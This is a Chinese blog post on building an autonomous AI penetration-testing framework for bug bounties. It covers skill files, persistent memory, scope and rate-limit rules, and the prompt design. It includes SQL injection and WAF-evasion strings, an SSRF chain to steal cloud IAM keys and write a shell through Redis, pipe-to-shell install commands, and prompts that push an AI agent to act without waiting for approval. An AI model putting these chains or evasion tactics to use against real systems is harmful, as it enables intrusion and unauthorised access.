当AI学会挖洞:构建AI驱动的模块化渗透测试框架

前言:如今AI发展迅速,网络上有一些挖洞高手频频晒出自己利用ai挖到的高危严重漏洞,国内安全社区中,关于AI辅助渗透测试的讨论大多停留在"用ChatGPT写PoC"的阶段,系统化地讨论AI渗透测试的方法论、架构设计和工程实践的内容还很少见。本文尝试填补这个空白,所以这个所谓的ai渗透到底是不是真的有这么神奇,那么这篇文章就来分享一下我对于ai自动化挖洞的一些看法以及ai挖洞到底是否真的比手动好,以及如何搭建一个自动化渗透的框架流程。

​

个人见解:

我认为现在AI确实已经很强大了,已经有实力能够在复杂的网站中自主挖掘漏洞了,而且AI对于人类最大的一个优势是不知疲倦,只要你给它爆米 它就能给你无休止的工作,特别是对于网站前端接口,一些隐秘的的api,一些fuzz操作,它都能对每一个接口继续细致的分析,但是人做不到啊 人总会感到疲惫,总会漏掉那么一两个接口,总会有那么一瞬间觉得没洞(算了这个包没有的 ,不搞了) 这是我觉得AI真正强的地方,至于其他关于越权漏洞或者RCE,sql注入等等等等,你只要把方法给它定义好,把测试流程给它写好,遇到什么参数做什么操作,它也能比人类更快,当然对于逻辑漏洞,还是需要对整个网站的业务逻辑足够清晰才能分析出来,那么这可能就涉及到ai如何对每一个站点的渗透方式以及思考,另外就是关于上下文长度的限制,假如我今天对xxx站点做了一系列的测试,然后把上下文都撑爆了 过了几天这个站点又加了个新功能,然后你又新开了一个会话,结果你的ai对这个站点完全陌生,那你又得从头开始教它(这也是本篇文章会提到的一个很关键问题【解决方案在👇】)在讨论方法论之前,先说一下我用的工具链——为什么选 Claude Code 而不是桌面版,为什么选 DeepSeek 而不是 GPT。

一、工具选择

1.1cluade code cli

https://code.claude.com/docs/zh-CN/quickstart

安装命令:

powershell:
irm https://claude.ai/install.ps1 | iex
cmd:
curl -fsSL https://claude.ai/install.cmd -o install.cmd && install.cmd && del install.cmd


不建议用桌面版,一方面是效率的问题,另一方面是桌面版会有一个问题是当ai提出是否继续测试的请求时,桌面版可能会卡在思考阶段一直在等待你的yes指令。

1.2deepseek v4 pro

选择它的原因:

便宜便宜便宜便宜便宜便宜便宜便宜够用

DeepSeek 开放平台

配置说明:

直接修改settings.json一般在用户目录的.claude目录下

二、问题定义

2.1传统自动化工具的局限性

像传统的自动化工具例如Nuclei/sqlmap等等 无非就是给个接口给个目标一个回车,啪啪啪跑完,这谁都会,运用在 企业src能出货的概率极低,而且如果目标有waf,工具跑基础payload被拦了 工具本身也大概率分析不出来,还是得靠人工,或者说我用工具扫出来了一个漏洞,但是危害几乎没有但是它可以被组合利用,这是传统自动化工具做不到的东西,但是AI可以,通过上下文的分析它可以实现组合漏洞,输出一条完整的攻击链条,或者针对不同的waf采用不同的payload。

2.2渗透测试中重复性劳动的问题

前面在个人见解中也提到,ai它就是一个顶级牛马,就是可以拿命蹬,只要你的命令清晰妥当,它就是不放过任何细节给你跑全,这是我觉得作为一个渗透测试的玩家我们在这个AI时代可以交给AI去办的一件事,而作为人类我们要把精力放在更复杂的攻击面上,例如逻辑漏洞以及业务测试层面上的缺陷,这些可能是ai目前还没办法做到比人类效果更高的事情了

三、框架设计理念与方法论

3.1三大核心原则

  • 模块化:每种漏洞类型 = 一个Skill,可插拔、可组合
  • 上下文持久化:Memory.md 保持跨会话的检测状态
  • 安全可控:Data Safety Protocol(速率限制、范围约束、WAF感知)

3.1.1模块化

所谓的模块化其实就是把你对于不同漏洞类型的挖掘思路做一个总结,例如sql注入的渗透思路提炼成一个模块,rce的思路提炼一个模块, 当AI遇到一些可疑参数时,就可以调用指定的模块来进行渗透测试。实现模块化的优势在于“无限进步”,网络安全这个领域本身就是不断发展进步的, 攻击手段也是越来越多,而ai学到的攻击手法大多都是网上有的,或者是你教它的,当有出现新的攻击手法或者渗透思路时,你就可以给它加一个skill模块,例如高级sql注入渗透模块.md 下次在渗透过程中sql注入被拦截的时候就会调用这个md学习里面的思路来进行绕过,当到后期ai自动化渗透框架发展到足够成熟,决定一个渗透框架的强弱那可能就是取决于这个渗透模块了(个人理解)

不同的模块大概就是长这样(后续会有整个目录结构图可以参考)

举例sqli.md(仅作参考,关于不同渗透模块md文件的生成,可以直接跟claude讲清楚你的测试思路然后让它来帮你生成这个md文件)

3.1.2上下文持久化

有无持久化的对比

没有持久化(传统 AI 对话):
每次新开对话 → AI 失忆 → 不知道之前扫过什么、发现了什么、排除了什么→ 重复劳动 → 漏掉关键线索

有上下文持久化:
每次新开对话 → AI 先读 memory.md → 恢复上一次的完整状态→ 知道已做了什么、正在追踪什么假设、哪些 payload 成功了→ 断点续传

框架层级分类

全局层:/memory.md 这个文件的持久化内容是方法论优化、全局经验教训、成功模式 优点是跨项目积累知识

目标层:targets/example_com/memory.md 这个文件的持久化内容是该目标的检测历史、活跃假设、已验证漏洞 可实现目标隔离,互不干扰

发现层:targets/example_com/findings/*.md每个漏洞的完整记录(端点/PoC/影响)优势是可追溯的审计日志

具体实现机制

核心原理:Claude Code 在每次对话开始时,会自动读取工作目录下的文件来建立上下文。框架利用这个机制,把"记忆"结构化地写入文件

具体流程如下

1. 启动 hunting 会话
       ↓
2. Claude 先读取 targets/<target>/memory.md → 恢复状态
   - 上次扫到哪了?
   - 哪些 payload 验证成功过?
   - 当前有哪些活跃假设?
     ↓
3. 继续上次的检测,发现新漏洞
       ↓
4. 更新 memory.md → 记录新发现、更新假设列表
       ↓
5. 下次会话启动 → 重复步骤2,无缝衔接
关键设计点
  • Memory.md 不只是日志,而是 AI 的"工作记忆"——它记录了未完成的假设和已验证的模式,而不仅仅是"做了什么"
  • 每个目标独立记忆:扫 A 公司和 B 公司互不干扰,CLAUDE.md 和 memory.md 都是独立的
  • Findings 是事实,Memory 是推理状态:findings/ 存确定的结果,memory.md 存"正在追的线索"

例子:

假设你周日扫了一次目标,周一继续:

周日 memory.md 内容:

1. /api/export 的 url 参数可能存在 SSRF → 已验证,确认漏洞 ✓
2. GraphQL /graphql 端点启用了自省查询 → 待深入检测
3. /user/profile 可能有 IDOR → payload 被 WAF 拦了,待换方案

Successful
- SSRF: gopher协议绕过成功(目标未过滤该scheme)

Failed Attempts
- SQLi: ' OR 1=1 被拦截(检测到WAF: Cloudflare)

周一 Claude 读到这个,直接知道:

  • SSRF 已经确认,不需要重新扫
  • GraphQL 自省发现了但还没深入利用,从这继续
  • IDOR 被 Cloudflare 拦了,需要换 WAF 绕过方案
  • gopher 协议在这里好用,试试能不能复用

这就是上下文持久化的价值——不是让 AI 从零开始,而是让它在之前的工作基础上继续推进。

3.1.3安全可控

为什么要做安全控制?

第一AI是不知道哪些能在做哪些不能做的 它只会按照你给的指令去执行任务,所以当我们的渗透即将触碰到红线时,它是不知道的,你 也不知道它测试到哪一步,是不是马上就犯错了,如果不做限制,大概率是干完傻事之后才会告诉你,那么这个时候就已经完蛋了,所以安全这部分是必须提前限制好的!!切记切记。

可控类型

分为三种分别是速率限制、范围约束、WAF感知

这三种机制的核心实现方式不是传统代码拦截,而是 Prompt 驱动的 AI 自主约束——这是这套框架最巧妙的思路。

1. 速率限制

实现路径:CLAUDE.md 规则 → Claude 自主执行 → 响应驱动策略调整

CLAUDE.md 定义规则:
  "Default max 5 req/s per target. Auto-throttle on 429 responses"
  "429 Response: Back off for 30s, halve request rate, retry"
                          ↓
hunt.sh(或者.bat) 启动时注入提示:
  --prompt "Follow Data Safety Protocol (5 req/s, handle 429/403)"
                          ↓
Claude 自控执行流程:
  发送请求 → 观察响应码 →
    ├─ 200/正常 → 保持 5 req/s 节奏
    ├─ 429 Too Many Requests → 停止30秒 → 速率降到 2.5 req/s → 重试
    │                         再次429 → 再降 → 1.25 req/s
    └─ 403 Forbidden → 标记该端点"已防护"→ 换攻击向量

-----这里提到的hunt.sh后续会细说

关键细节:这个框架的速率限制不是代码层的 sleep() 或令牌桶,而是靠 Claude 在每次发出 WebFetch 或 curl 指令前,自行判断距离上次请求过了多久,决定是否该减速。本质上是把"速率控制的决策权"交给了 AI。

2. 范围约束

实现路径:三层防线,逐层收紧

第一层:scope 文件(物理边界)
  targets/example.com/scope:
    example.com
    *.example.com
                          ↓
第二层:hunt.sh 注入提示(启动时绑定)
  --prompt "Scope: $(cat $target_dir/scope)"
  把 scope 内容直接拼进 AI 的初始上下文
                          ↓
第三层:CLAUDE.md 硬规则(行为约束)
  "ONLY test targets and endpoints explicitly defined in scope"
  "If you encounter out-of-scope assets during recon,
   flag them but DO NOT test"

一种场景:Recon 阶段发现了 api.internal.example.com 的 CNAME 指向 internal-prod.aws.com。Claude 会:

  1. 把这个发现记录到 recon/ 目录——"发现指向外部的 CNAME"
  2. 不会主动去探测 internal-prod.aws.com——不在 scope 里
  3. 如果 internal-prod.aws.com 是高价值目标,会提示用户手动加入 scope

对比传统自动化工具(Nuclei/ffuf 无脑扫所有发现),这个框架能做到 "发现但不越界"(很关键的一点)。

3. WAF 感知

实现路径:响应特征指纹识别 → 自动切换到绕过 Payload

发送正常探测 Payload
       ↓
分析响应特征:
  ├─ 响应头包含 "X-WAF" / "CF-Ray" / "Server: cloudflare"
  │   → 判断: Cloudflare WAF
  │   → 切换到 payloads/ssrf/bypass_techniques.txt 的绕过向量
  │
  ├─ 响应体包含 "Access Denied" / "Blocked" / 403 状态码
  │   → 判断: 请求被拦截
  │   → 尝试: URL编码 / 双编码 / Unicode绕过 / 大小写变换
  │
  ├─ 响应体包含 SQL 错误但参数被清空
  │   → 判断: 有WAF过滤,但可能不完整
  │   → 切换到 payloads/sqli/* 中的 tamper 向量
  │
  └─ 正常响应(无WAF特征)
      → 继续标准检测流程

CLAUDE.md 只给了规则 (switch to evasion payloads),具体的 WAF 指纹识别逻辑和对应的绕过 Payload 分布在各个 Skill 中:

Skill

WAF 绕过内容

ssrf.md

URL parser混淆、IPv6绕过、DNS rebinding、协议走私

sqli.md

关键字混淆、空白替代、逻辑绕过、sqlmap tamper集成

xss.md

大小写变换、编码绕过、替代事件处理器

三层安全机制的实现对比

机制

实现方式

触发时机

执行者

速率限制

Prompt规则 → AI自主节流 → 429回退策略

每次发请求前

Claude

范围约束

scope文件 + Prompt绑定 + 规则禁止

发现新资产/端点时

Claude

WAF感知

响应特征分析 → Payload切换

请求被拦截后

Claude

核心设计思想:不是写代码拦截(传统思路),而是把安全规则写成 AI 能理解和执行的自然语言约束。这样做的好处是 AI 能根据上下文灵活判断,而不是机械地 if-else。比如:1.速率限制不是硬 sleep——如果目标没返回 429,AI 知道可以适当提速;2.范围约束不是防火墙——AI 仍然会记录越界资产,只是不主动测试;3.WAF 感知不是规则匹配——AI 理解 WAF 的行为逻辑,能推理出新的绕过思路

3.2核心方法论:Momentum Tactics(动量战术)

怎么理解Momentum Tactics?

它和传统扫描的区别是传统扫描是一次性、平面化的,动量战术是渐进式、自驱动的。

大致分为四大规则,我逐一举个栗子:

规则一:从宽到窄,逐步收敛

Start with broad recon, progressively narrow to high-value targets

翻译:

从广泛侦察开始,逐步聚焦到高价值目标

例子1:

第一轮(宽):扫出 50 个子域名 + 200 个端点

第二轮(中):发现 /api/export 有 url 参数(疑似SSRF)→ 优先深入
             /graphql 开启了内省查询 → 优先深入
             /static/js/app.xxx.js.map 泄露了源码 → 优先深入
第三轮(窄):确认 /api/export 存在 SSRF → 探测内网
                                              → 发现内网 Redis
                                              → gopher 协议写 shell → RCE

如果是传统方式会怎样:对 200 个端点平均用力 → 每个只扫了一下表面 → 全漏掉(token烧完咯 啥也没有)

规则 2:一个漏洞可能解锁更多漏洞

After each finding, re-evaluate the attack surface

翻译:

在每次发现之后,重新评估攻击面

例子2:

发现 SSRF → 重新问自己:

  - 这个 SSRF 能访问内网吗?→ 能 → 去探测内网服务(这个点要小心不要触碰src红线,其他项目另说)
  - 能访问云元数据吗?→ 能 → 去偷 IAM 密钥
  - gopher 协议可用吗?→ 可用 → 去打 Redis

发现 XSS → 重新问自己:

  - 是存储型吗?→ 是 → 这个页面管理员会看吗?
  - 能拿到 cookie 吗?→ 能 → 能组合 CSRF 吗?
  - 同域还有其他子域名吗?→ 有 → cookie 能跨子域吗?

本质:把渗透测试从"找漏洞"升级为"推雪球"——每个发现都在扩大攻击面

规则 3:维护活跃假设列表

Maintain a running hypothesis list in memory.md

翻译:

在 memory.md 中维护一个进行中的假设列表

这就是之前聊的 memory.md 的核心作用,列表大概会长这样:

1. /api/export?url= 的参数可能SSRF → 已验证: 可以访问外网 ✓
2. 但能否访问内网?→ 假设: 内网 169.254.169.254 可能可达 → 待验证
3. GraphQL 内省发现 User 类型有 email 字段 → 假设: IDOR可遍历 → 待验证
4. 响应头 Server: nginx/1.18 → 假设: 可能有已知CVE → 待查

为什么这是"动量"的关键:周一发现线索 2,写到假设列表;周三来了继续——Claude 读到假设列表,不需要重新推理,直接验证。

规则 4:三次尝试无果就换方向

Don't get stuck on one vector; if stalled after 3 attempts, pivot

翻译

不要一直纠结于一个方向;如果尝试3次后仍停滞不前,就要转变方向

这是对抗 AI 常见的"钻牛角尖"问题

例如:

尝试 1: ' OR 1=1--  → 被 Cloudflare 拦截
尝试 2: ' OR 1=1#   → 被拦截
尝试 3: /*!50000OR*/1=1  → 还是被拦截
3 次了,判定: 这个 WAF 对 SQLi 很严,换方向
不纠结,转去打 IDOR 或 XSS,当然你也可以改成跑完你所以的牛13的绕过手法

如果没有这样的限制条件很可能出现的情况是:AI 会一直尝试第 4、5、6...次 SQLi 绕过,浪费时间和 token,而真正的洞在其他地方

一句话总结:动量战术 = 不是一次性扫完所有东西,而是每一步的发现都在为下一步积蓄动力,越挖越深,遇阻即换,永远朝着"最高价值目标"收敛。

3.3框架整体架构

bounty-system/
├── CLAUDE.md              ← AI的"大脑":角色定义、行为准则、方法论
├── memory.md              ← AI的"记忆":跨会话上下文保持
├── skills/                ← AI的"技能库":漏洞检测核心模块
│   ├── recon.md           # 侦察(信息收集)
│   ├── ssrf.md            # SSRF检测
│   ├── sqli.md            # SQL注入
│   ├── xss.md             # XSS
│   ├── rce.md             # RCE
│   ├── idor.md            # IDOR
│   ├── csrf.md            # CSRF
│   ├── attack-chains.md   # 攻击链分析
│   └── reporting.md       # 报告生成
├── payloads/              # Payload库
├── dicts/                 # 字典
├── targets/               # 目标管理(每目标独立目录)
└── scripts/               # 自动化脚本

这里着重讲一下 scripts中的hunt.bat/hunt.sh

先看看readme的内容

============================================
  Bounty System - 使用说明
  AI-Driven Pentest Framework
============================================

【快速开始】

  Windows 用户:
    hunt.bat init example.com    # 1. 初始化目标
    hunt.bat recon example.com   # 2. 信息收集
    hunt.bat hunt example.com    # 3. 漏洞检测
    hunt.bat report example.com  # 4. 生成报告

  Linux/Mac 用户:
    bash hunt.sh init example.com
    bash hunt.sh recon example.com
    bash hunt.sh hunt example.com
    bash hunt.sh report example.com


【命令详解】

  init <target>
    创建目标目录骨架,自动生成:
      targets/<target>/scope      测试范围定义
      targets/<target>/CLAUDE.md  目标专属AI配置
      targets/<target>/memory.md  上下文记忆文件
      targets/<target>/recon/     侦察结果目录
      targets/<target>/findings/  漏洞发现目录
      targets/<target>/report/    报告输出目录

  recon <target>
    启动 Claude Code,加载 skills/recon.md,执行:
      - 子域名枚举 / 端口扫描 / 目录爆破
      - 技术栈指纹识别 / API 发现
      - 攻击面映射
    结果输出到 targets/<target>/recon/

  hunt <target>
    启动 Claude Code,加载全部 9 个 Skill 模块,执行:
      - 读取 recon 阶段结果
      - 按优先级对每个端点进行漏洞检测
      - SSRF / SQLi / XSS / RCE / IDOR / CSRF 全覆盖
      - 攻击链分析与编排
    结果输出到 targets/<target>/findings/

  report <target>
    启动 Claude Code,加载 skills/reporting.md,执行:
      - 汇总所有 findings
      - 按 Impact Matrix 分级 (Critical/High/Medium/Low)
      - 生成标准化渗透测试报告
    结果输出到 targets/<target>/report/

  status <target>
    查看目标当前进度(不启动 AI):
      - 侦察文件数量
      - 漏洞发现数量
      - 最新 findings 列表

  list
    列出所有已初始化的目标及其发现数


【使用流程示例】

  # 假设要对 example.com 做渗透测试

  # Step 1: 初始化
  hunt.bat init example.com

  # Step 2: 手动编辑 scope(按需调整测试范围)
  notepad targets\example.com\scope

  # Step 3: 信息收集
  hunt.bat recon example.com

  # Step 4: 查看侦察结果
  hunt.bat status example.com

  # Step 5: 开始挖洞
  hunt.bat hunt example.com

  # Step 6: 生成报告
  hunt.bat report example.com


【安全协议 (Data Safety Protocol)】

  框架内置安全约束,无需手动配置:
    - 速率限制: 默认 5 req/s,触发 429 自动减速
    - 范围约束: 仅测试 scope 文件中定义的资产
    - WAF 感知: 检测到 WAF 自动切换绕过 Payload
    - 禁止破坏性操作: DELETE/DROP/TRUNCATE 需手动确认


【前置要求】

  - Claude Code 已安装并配置好认证
  - 目录结构: 脚本需在 bounty-system/scripts/ 下运行
  - Windows: Windows 10+ (推荐 Windows Terminal 或 PowerShell)
  - Linux/Mac: bash 4.0+


【常见问题】

  Q: claude 命令找不到?
  A: 确保 Claude Code 已安装且在 PATH 中

  Q: 中文路径乱码?
  A: Windows 下建议使用 Windows Terminal 运行,或使用英文路径

  Q: 如何添加自定义 Payload?
  A: 编辑 payloads/ 目录下对应漏洞类型的 .txt 文件,一行一个

  Q: 如何添加自定义字典?
  A: 编辑 dicts/ 目录下的 .txt 文件,支持 ffuf/subfinder 标准格式

  Q: 如何修改速率限制?
  A: 编辑根目录 CLAUDE.md 中 "Rate Limiting" 相关规则

其实说白了hunt里面写的就是写好了怎么启动claude code 启动后该做什么操作

hunt文件整体结构:

hunt.bat
├── banner          → 打印框架 Logo
├── usage           → 打印帮助信息
├── init_target     → 初始化新目标
├── run_recon       → 启动 Claude 做信息收集
├── run_hunt        → 启动 Claude 做漏洞检测
├── generate_report → 启动 Claude 生成报告
├── show_status     → 纯本地统计,不启动 AI
├── list_targets    → 纯本地统计,不启动 AI
└── Main Entry       → 解析第一个参数,分发到对应函数

函数作用:

函数:init_target            作用:做初始化 创建目录 + 生成 scope/CLAUDE.md/memory.md 模板

函数:run_recon              作用:读取 scope → 拼到 prompt → claude --prompt "..."

函数:run_hunt               作用:拼 prompt(含 recon 数据路径 + 安全协议)→ claude --prompt "..."

函数:generate_report        作用:拼 prompt(含 findings 路径)→ claude --prompt "..."

函数:show_status            作用:统计 recon/ 和 findings/ 的文件数量,列最新发现

函数:list_targets           作用:遍历 targets/ 下所有子目录,统计每个的 findings 数

最核心的 3 行代码:

整个脚本的核心逻辑就这 3 个claude调用,区别全在 --prompt 里:

init:  纯文件操作(mkdir + echo),不调 claude
recon: claude --prompt "Load skill: skills/recon.md ... Scope: xxx"
hunt:  claude --prompt "Read recon data... Load all skills... 5 req/s..."
report: claude --prompt "Load skill: skills/reporting.md... Read findings..."

init不调 AI,只在本地建文件。recon、hunt、report 都调 AI,只是给 AI 的指令不同(加载哪个 Skill、读什么数据)。status和 list也不调 AI,纯读本地文件统计。

四、核心模块深度拆解

4.1 CLAUDE.md:AI的角色定义引擎

4.1.1 Prompt设计思路

大致分为五层分别定义了:1.我是谁 2.什么能做/不能做 3.我会什么?4.对谁做? 5. 什么风格做?

第一层:Role Definition — 定身份
You are an autonomous penetration testing AI operating within the Bounty System.
Your mission is to discover security vulnerabilities through systematic
reconnaissance, intelligent detection, and creative attack chain analysis.
你是一个在赏金系统内运行的自主渗透测试人工智能。你的任务是通过系统性的侦察、智能检测和创造性的攻击链分析来发现安全漏洞。

设计意图:

1.告诉 AI:你是主导者,不是等待指令的工具人

2.限定专业领域,防止 AI 跑偏到通用问答

3.绑定框架身份——你不是裸 AI,你是这个系统的一部分

4.三个递进的形容词,暗示工作方式的层次

为什么这样写:角色定义是整个 Prompt 的"锚点"。后面所有规则是否合理,都靠这个锚点来验证——"作为一个自主渗透测试 AI,遇到 429 时应该减速"就比"作为一个聊天机器人,遇到 429 时应该减速"更自然。

第二层:Core Principles — 划边界

Core Principles是整个 CLAUDE.md 最核心的部分,占全文 60% 的篇幅。五条原则构成一个完整的AI 行为约束体系,覆盖了渗透测试中所有"需要做判断"的场景。

五条原则的设计逻辑是层层递进的:

Scope Discipline   → 画空间边界:什么能碰,什么不能碰
Data Safety        → 画操作边界:怎么安全地碰
Momentum Tactics   → 画策略边界:怎么聪明地碰
Methodology        → 画流程边界:按什么顺序碰
Output Standards   → 画输出边界:碰完怎么记录

原则一:Scope Discipline(范围约束)

设计意图:解决"越界"问题。

传统渗透测试中,人看到 *.example.com 的 CNAME 指向了 internal.aws.com,会自觉停下来——因为你没有被授权测试 AWS 基础设施。但 AI 没有天然的"边界感",如果不明确告诉它"超出 scope 的资产发现了也不能碰",它会继续往里打。

- ONLY test targets explicitly defined in scope
- Out-of-scope assets: flag them but DO NOT test

设计上有两个关键点:

  1. ONLY 大写强调——这不是建议,是硬约束,优先级高于一切
  2. "发现但不碰"vs"完全忽略"——AI 仍然要记录越界资产,因为这对人工审计有价值,但它不能主动发起请求

本质:这不是防火墙规则(代码级的 deny),而是道德约束的 Prompt 化——让 AI 理解"授权边界"这个概念本身。

原则二:Data Safety Protocol(数据安全协议)

设计意图:解决"失控"问题。

这是五条原则中最长的一条,因为它需要覆盖 AI 在自主发请求时可能遇到的全部异常情况:

Rate Limiting:  5 req/s max. Auto-throttle on 429
429 Response:   Back off 30s, halve rate, retry
403 Response:   Flag as protected, pivot to alternatives
WAF Detection:  Switch to evasion payloads
No Destructive: No DELETE/DROP/TRUNCATE without confirmation

五条子规则的设计逻辑是渐进式防御:

正常请求 → 被限速控制(5 req/s)
   ↓
触发 429 → 退避策略启动(30s + 降速)
   ↓
触发 403 → 不纠缠,换攻击向量
   ↓
触发 WAF → 切换到绕过 Payload
   ↓
涉及破坏性操作 → 必须人工确认

本质:把渗透测试中的"经验直觉"编码为可执行的决策树。一个有经验的测试人员看到 429 会本能地减速,看到 403 会本能地换思路——这些本能就是 Data Safety Protocol 要教给 AI 的。

原则三:Momentum Tactics(动量战术)

设计意图:解决"效率"问题。

前面的 Scope 和 Safety 解决了"安全地做",但还没解决"聪明地做"。如果 AI 对 200 个端点平均用力,每个花 5 分钟,最后可能一个洞都找不到——因为真正有洞的那 3 个端点只得到了和静态资源页面一样的注意力。

- Start broad, progressively narrow to high-value targets
- After each finding, re-evaluate the attack surface
- Maintain a running hypothesis list in memory.md
- If stalled after 3 attempts, pivot

四条规则分别对应四个效率陷阱:

规则

解决的陷阱

由宽到窄

平均用力——200 个端点每个扫 5 分钟

一洞解锁更多

见好就收——发现 SSRF 就停了,不追内网

维护假设列表

重复推理——每次新开对话都从零分析

三试即换

钻牛角尖——WAF 明显拦了还在换编码绕

本质:把渗透测试中的"决策智慧"编码为策略规则。不是告诉 AI "做什么",而是告诉 AI "先做什么、什么时候换方向、什么时候深入"。

原则四:Methodology(方法论)

设计意图:解决"不知道该干嘛"的问题。

这是五条中最简单的一条,但也是"兜底"的一条:

RECON -> HUNT -> CHAIN -> REPORT

一个流水线。当 AI 在某个阶段完成、不知道该做什么时,这一行就是答案。

为什么只有四个阶段:刻意保持简洁。如果定义 10 个子阶段,AI 会在阶段切换上浪费大量判断力。四阶段粗粒度划分,AI 只需要知道"我现在在哪个大阶段",具体做什么由当前的 Skill 决定。

原则五:Output Standards(输出标准)

设计意图:解决"结果无法追溯"的问题。

渗透测试的结果需要可审计——哪个洞、什么时候发现的、用的什么 payload、影响多大。如果 AI 随便写,结果就是一堆混乱的 txt 文件,回头根本找不到。

- Format: YYYYMMDD_HHMM_vulntype.md
- Required fields: endpoint, method, payload, impact, severity, remediation
- Severity: Critical / High / Medium / Low

设计要点:

  1. 文件名自带时间戳——不需要打开文件就知道是什么时候发现的
  2. 必含字段标准化——保证每个 findings 都完整,不会漏掉关键信息
  3. 严重等级统一——避免出现"slightly critical"、"medium-high"这种自定义等级

本质:把渗透测试报告的最佳实践固化为输出模板。让 AI 产出的 findings 不是"AI 写的杂记",而是"符合行业标准的审计记录"。

五条原则的协作关系

单独看每条只是规则,合在一起才能看出设计意图:

一个 AI 接到任务"测 example.com":

Scope → "我看看 scope 文件... *.example.com,OK 只测这些"
Safety → "先按 5 req/s 开始..."
Momentum → "从宽到窄,先跑 recon 看有哪些资产"
Methodology → "我在 Recon 阶段,目标是把攻击面画出来"
  ↓
发现 /api/export?url= 疑似 SSRF
  ↓
Scope → "example.com 的子域,在范围内"
Safety → "payload 打外网 oastify.com 先验证盲 SSRF"
Momentum → "SSRF 确认了!重新评估:能打内网吗?→ 这是高价值目标,深入"
Methodology → "进入 Hunt 阶段,加载 ssrf.md Skill"
  ↓
发现漏洞,写入 findings
  ↓
Output → "文件名: 20260607_1430_ssrf.md,字段齐了,Severity: Critical"
  ↓
Momentum → "写入 memory.md:SSRF gopher 协议可用,下次试试打 Redis"

五条原则在 AI 的每个动作节点都在起作用——不是"先执行完一条再到下一条",而是同时约束 AI 的每个决策。

第三层:Available Skills — 亮能力
Use Skills/*.md files as your detection playbooks. Load the relevant skill:
- recon.md - Information gathering
- ssrf.md - Server-Side Request Forgery
- sqli.md - SQL Injection
...

设计意图:这是一种"声明式"的设计——CLAUDE.md 只说有哪些技能,不写每个技能怎么用。怎么做在各自的 Skill 文件里。

为什么不把所有内容写在一个文件里:

全部塞 CLAUDE.md:
  - 文件巨大,上下文爆满
  - 改一个漏洞的检测方法要动主配置
  - AI 分不清"通用规则"和"具体操作"

分离到 Skills:
  - CLAUDE.md 保持精炼(只声明能力)
  - 每个 Skill 独立维护
  - AI 按需加载,不浪费上下文

这类似于编程中的"接口声明 vs 实现"——CLAUDE.md 是接口,Skills/*.md 是实现。

第四层:Target Context — 绑数据
When working on a target, first read:
1. targets/<target>/CLAUDE.md    ← 这个目标有什么特殊要求?
2. targets/<target>/memory.md    ← 上次做到哪了?
3. targets/<target>/scope        ← 测试范围是什么?

设计意图:这是运行时数据绑定。CLAUDE.md 定义了"怎么工作",但具体"对谁工作"由目标目录的文件提供。

CLAUDE.md(通用规则)       targets/example.com/ (具体数据)
┌─────────────────┐         ┌──────────────────┐
│ 怎么做渗透测试    │  +      │ 测谁:example.com │  = 完整的 AI 上下文
│ 遵守什么规则     │         │ 做到哪了:第3轮    │
│ 有哪些技能       │         │ 发现了什么:5个洞  │
└─────────────────┘         └──────────────────┘

这解决了一个关键问题:同一个 CLAUDE.md 可以驱动无数个目标,每个目标的"知识"存在各自的目录里,互不污染。

第五层:Interaction Mode — 定风格
- Be proactive — drive the testing forward
- Report critical findings immediately
- Summarize progress after each major phase
- When uncertain, flag as "Needs Verification"

设计意图:这四条决定了 AI 的"工作性格"。

规则

解决的问题

Be proactive

防止 AI 每步都问"我该继续吗?"——自己推进

Report critical immediately

Critical 漏洞不能等整个流程结束才说

Summarize progress

每个阶段结束后汇报进度,让人类知道在干什么

Flag uncertain findings

不确定的东西标注出来,别直接丢掉也别当确认的写

为什么这层放最后:因为它是"风格"而非"规则"。前面四层定义了"能不能做",这层定义了"怎么做更好"。

4.1.2 CLAUDE.md 核心片段展示

直接上代码,五层逐一对照:

第一层:Role Definition(身份定位)
## Role Definition
You are an autonomous penetration testing AI operating within the
**Bounty System** framework. Your mission is to discover security
vulnerabilities in defined target scopes through systematic
reconnaissance, intelligent detection, and creative attack chain
analysis.

作用:一句话回答"你是谁"。autonomous 让 AI 自己推进,systematic / intelligent / creative 暗示工作方式的三个层次。

第二层:Core Principles(行为约束)
### 1. Scope Discipline
- ONLY test targets and endpoints explicitly defined in `scope`
- If you encounter out-of-scope assets during recon, flag them but
  DO NOT test

### 2. Data Safety Protocol
- Rate Limiting: Default max 5 req/s. Auto-throttle on 429
- 429 Response: Back off 30s, halve request rate, retry
- 403 Response: Flag endpoint as protected, pivot to alternative
- No Destructive Testing: No DELETE/DROP/TRUNCATE without
  explicit user confirmation

### 3. Momentum Tactics
- Start with broad recon, progressively narrow to high-value targets
- After each finding, re-evaluate the attack surface
- Maintain a running hypothesis list in memory.md
- If stalled after 3 attempts, pivot

### 4. Methodology
RECON -> HUNT -> CHAIN -> REPORT

### 5. Output Standards
- Findings: targets/<target>/findings/YYYYMMDD_HHMM_vulntype.md
- Each finding must include: endpoint, method, payload, impact,
  severity, remediation
- Severity: Critical / High / Medium / Low

作用:五个原则覆盖 AI 全部决策场景——能不能测(Scope)、怎么安全测(Safety)、怎么聪明测(Momentum)、按什么流程(Methodology)、结果怎么写(Output)。

第三层:Available Skills(能力声明)
## Available Skills
Use Skills/*.md files as your detection playbooks:
- recon.md         - Information gathering and asset discovery
- ssrf.md          - Server-Side Request Forgery
- sqli.md          - SQL Injection
- xss.md           - Cross-Site Scripting
- rce.md           - Remote Code Execution
- idor.md          - Insecure Direct Object Reference
- csrf.md          - Cross-Site Request Forgery
- attack-chains.md - Multi-vulnerability chain analysis
- reporting.md     - Report generation

作用:只声明"我会什么",不写"怎么做"。具体方法在 Skills/*.md 里,按需加载,节省上下文。

第四层:Target Context(运行时数据绑定)
## Target Context
When working on a target, first read:
1. targets/<target>/CLAUDE.md  for target-specific instructions
2. targets/<target>/memory.md  for detection history and hypotheses
3. targets/<target>/scope      for authorized test boundaries

作用:把通用规则(CLAUDE.md)和具体数据(目标目录里的文件)拼在一起,同一个 CLAUDE.md 驱动所有目标,每个目标的"记忆"互不污染。

第五层:Interaction Mode(行为风格)
## Interaction Mode
- Be proactive — drive the testing forward, don't wait for prompts
- Report critical findings immediately
- Summarize progress after each major phase
- When uncertain about a finding, flag as "Needs Verification"

作用:四条定"工作性格"——主动推进、严重漏洞即刻汇报、阶段性总结、不确定就标注。不涉及"能不能做",只管"怎么做更好"。

五层合并视图
CLAUDE.md
│
├─ Role Definition     ← 我是谁
├─ Core Principles     ← 什么能做/不能做(最核心,占全文 60%)
├─ Available Skills    ← 我会什么(接口声明,实现分离)
├─ Target Context      ← 对谁做(运行时数据绑定)
└─ Interaction Mode    ← 什么风格做

